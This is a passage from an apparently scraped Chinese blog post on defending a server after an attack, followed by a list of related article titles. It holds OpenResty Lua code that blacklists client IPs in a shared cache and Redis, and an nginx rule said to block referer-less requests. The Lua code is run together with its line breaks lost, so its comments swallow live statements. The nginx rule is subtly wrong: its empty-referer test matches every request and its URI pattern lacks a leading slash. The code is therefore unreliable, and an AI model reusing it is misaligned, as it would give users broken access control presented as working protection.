时间30天cache_ngx:set('ban_ip_' .. clientIP, 1, 30 * 24 * 60 * 60);-- Redis缓存黑名单 时间永久,set 集合自带去重,直接添加就行conn:sadd("BAN-IP", clientIP)close_redis(conn)ngx.exit(403)end--根据IP 获取本地黑名单缓存数据local banIpCache = cache_ngx:get('ban_ip_' .. clientIP);if banIpCache == "" or banIpCache == nil then--根据IP 获取Redis黑名单缓存数据local result_black = conn:sismember("BAN-IP", clientIP)if result_black == 1 thenngx.log(ngx.ERR, "black_ip:", clientIP)-- 本地缓存黑名单 时间30天cache_ngx:set('ban_ip_' .. clientIP, 1, 30 * 24 * 60 * 60);close_redis(conn)ngx.exit(403)endelsengx.log(ngx.ERR, "cache_black_ip:", clientIP)close_redis(conn)ngx.exit(403)endendclose_redis(conn)
elsengx.log(ngx.ERR, "cache_white_ip:", clientIP)
end

修改defalut.conf,在server 添加

     set $flag 0;if ($http_referer ~ ""){set $flag 1;}if ($request_uri !~ ^(yudao-admin|prod-api)$) {set $flag 0;}if ($flag = 1){return 403;}

拦截 第一次访问 http_referer为空,请求url不带 yudao-admin 或者 prod-api 的请求,主要拦截恶意请求

【记录一次服务器被攻击】-[附带解决方案]相关推荐

  1. 记录一次服务器被攻击的经历

    突然收到阿里云发过来的异常登陆的信息: 于是,急忙打开电脑查看对应的ECS服务器的记录: 发现服务器的cpu占用率异常飙升,所以可以大概断定服务器已经被非法入侵了. 通过自己的账号登陆后,发现sshd ...

  2. 记录一次服务器被攻击的事件,被当作了肉鸡

    事件的起因是这样的,我们公司内网有台机器,ip为192.168.13.240,这台机器不用做生产,只是为了方便测试.过年之后到公司,突然这台机器就开不了机了,网上各种翻阅资料,最后能开机了,但数据盘格 ...

  3. 游戏服务器被攻击怎么办?

    游戏服务器经常会被攻击,哪些原因造成游戏服务器被攻击呢?竞争对手来进犯你的服务器,让你的服务器无法正常运转,游戏很卡或被进犯到所有服务器瘫痪,玩家就会去竞争对手哪里玩.还有就是一些伪黑客爱好者或出初学 ...

  4. 服务器被攻击 常见的服务器攻击方式有哪些

    现在很多网站的服务器都被攻击过,这会给网站带来很大损失,所以应该采取一些防御措施.下面就带大家来看看怎样防止服务器被攻击,常见的服务器攻击方式有哪些.     怎样防止服务器被攻击   1.关闭端口, ...

  5. 阿里云服务器被攻击怎么解决?

    阿里云是国内知名的云计算服务提供商,为数不少的企业.个人提供了高效便捷的云服务.然而,随着网络安全威胁的日益增多,阿里云服务器被攻击的情况也时有发生.那么,当我们遭遇了此类情况,该如何应对呢? 一.如 ...

  6. 记一次服务器被攻击后的经历

    该图片由Robinraj Premchand在Pixabay上发布 我的小程序是在5月26号的时候上线的,运行了还没几天,5月30号的时候就有一个学弟告诉我说小程序用不了了,晚上回家打开电脑查看数据库 ...

  7. 服务器被黑 追寻ip_网站服务器被攻击了如何查找木马(webshell)IP 篡改的痕迹...

    很对客户网站以及服务器被攻击,被黑后,留下了很多webshell文件,也叫网站木马文件,客户对自己网站的安全也是很担忧,担心网站后期会继续被攻击篡改,毕竟没有专业的安全技术去负责网站的安全防护工作,通 ...

  8. 如何防止服务器被攻击?

    随着网络的发展,我们所遇到的安全挑战也越来越多.尤其是近年来,网络攻击频发,许多互联网企业深受其扰.为了不影响自身业务的稳定运行,许多企业都在想方设法的寻求解决方案,防止服务器被攻击而影响业务发展.下 ...

  9. 服务器被攻击的发现和解决过程

    记一次服务器被攻击的发现和解决过程 这是之前2018年左右,买阿里云服务器之后,服务器被攻击,当时的记录信息,现在整理一下 出现的问题 解决思路和解决过程 解决思路: 解决步骤: 思考:为什么会出现这 ...

最新文章

  1. springmvc的异常处理对静态的资源的处理
  2. 免费好用的Diff和Merge工具大总结
  3. jQuer or js 插件aptana studio 3.4.0)教你玩转eclipse配置(全世
  4. 毕业五年的音视频开发工程师过得怎么样了?
  5. ubuntu16.04输入密码后返回登录界面(反复登录问题+.Xauthority无法删除无法改权限问题)
  6. scikit-learn决策树算法类库使用小结及可视化方法
  7. 大学学了一个学期的 C 语言,我们应该明白哪些知识点?别像没学一样!
  8. HTML期末作业-宠物网
  9. python写剧情文字游戏_文字游戏引擎试用心得之一:Ren'py 和 Fungus
  10. 类型的值怎么用es查询_腾讯游戏信用分怎么查询在哪看 有什么用怎么提升介绍...
  11. 《SQL Server 2000 完全实战:数据转换服务(DTS)》
  12. welearn视听说 读写 答题助手 综合插件
  13. 操作系统(一)—— 操作系统概论
  14. 计算机03年word做母亲节贺卡,《WORD贺卡的制作—母亲节快乐》教学反思
  15. 若依RuoYi-Vue 入门零接触超详细(一)
  16. YY 0709|视觉报警信号的要求和测试方法
  17. 程序员 键盘 符号 字符 单词
  18. Ubuntu下搭建SVN与Apache权限控制
  19. 孙溟㠭篆刻艺术——“猛击一掌“
  20. flutter报错: your app to be migrated to the Android embedding v2

热门文章

  1. background,background-size背景图片和盒子模型
  2. 阿里云盘PC端内测版可以下载安装了 还送你800G扩容福利码!
  3. 2022最新微信步数提交平台网站PHP源码
  4. 玩乐购与京东天猫深度合作 打造云购全网最低价
  5. python常用内置函数乘法_每个 Python 高手都应该知道的内置函数
  6. Java_题目_抽奖的2种实现方法
  7. IOS锁屏状态播放音乐时显示专辑信息和图片
  8. 如何下载酷6、土豆、优酷、56视频并转化格式进行播
  9. opencv 图像修复 inpaint()
  10. 如何学习编程、一门编程语言怎么算入门、快速掌握一门编程语言